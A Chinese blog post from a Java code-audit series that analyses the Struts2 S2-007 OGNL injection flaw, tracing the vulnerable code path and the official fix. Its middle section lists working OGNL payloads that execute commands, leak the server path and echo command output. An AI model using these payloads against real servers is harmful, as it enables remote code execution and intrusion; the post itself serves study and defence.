Java代码审计之Struts2-007(五)

本系列文章将详细分析 Java 流行框架 Struts2 的历史漏洞,今后关于 Struts2 新的漏洞分析,也将更新于 Struts2-Vuln 项目上。该系列仅是笔者初学 Java代码审计 的一些记录,也希望能够帮助到想学习 Java代码审计 的朋友 。如有任何问题,欢迎 issue 。分析文章均来自 个人博客 ,转载请注明出处。

漏洞概要

Struts2-007是一个远程代码执行漏洞。

影响版本: Struts 2.0.0 - Struts 2.2.3 。更多详情可参考官方通告:https://cwiki.apache.org/confluence/display/WW/S2-007

漏洞环境

Apache Tomcat/8.5.47+struts-2.0.8

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip

https://github.com/vulhub/vulhub/tree/master/struts2/s2-007

漏洞分析

Struts2 中,可以将 HTTP 请求数据注入到实际业务 Action 的属性中。而这些属性可以是任意类型的数据,通过 HTTP 只能获取到 String 类型数据,所以这里存在类型转换。我们可以通过 xml 文件,来定义转换规则。例如,我这里定义了一个 UserAction 类,其有一个 Integer 类型的 age 属性,这里我们让其数值范围在 1-150

1

如果此时我们将 age 属性值设置成一个字符串,那么就会引发类型转换错误。Struts2 会将用户输入的数据经过处理再次返回给用户。

2

而在这个处理的过程中,就存在 OGNL 表达式注入。接下来,我们来看看具体的问题代码。我们先在 ConversionErrorInterceptor:intercept() 方法中打上断点(ConversionErrorInterceptor 类是专门用来处理类型转换失败的拦截器)

当发生类型转换错误时,程序会将用户输入的值存入 fakie 变量。在存入之前,会先将值用 getOverrideExpr 方法处理,我们跟进该方法。

3

getOverrideExpr 方法中,会在用户输入的值两边拼接上单引号,然后再将值存入刚刚的 fakie 变量。

4

接着程序会把 fakie 变量存入 OgnlValueStack.overrides 变量中

5

然后在解析到 Struts2 结束标签时,会将用户输入值经过 OGNL 执行并返回。如果先前 OgnlValueStack.overrides 存储过相关字段,则会先从 OgnlValueStack.overrides 中取出相关值,然后再通过 OGNL 执行,代码执行也就发生在此处。

6

我们来尝试弹个计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 弹计算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

# 获取绝对路径
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

# 执行系统命令并回显
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

7

漏洞修复

下图右边为官方修复后的代码(左图xwork-2.0.3,右图为xwork-2.2.3.1),可以看到新版本使用 org.apache.commons.lang.StringEscapeUtils.escapeJava() 来过滤字符串。

8

参考

https://cwiki.apache.org/confluence/display/WW/S2-007

文章作者: Mochazz
文章链接: https://mochazz.github.io/2020/07/01/Java代码审计之Struts2-007/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog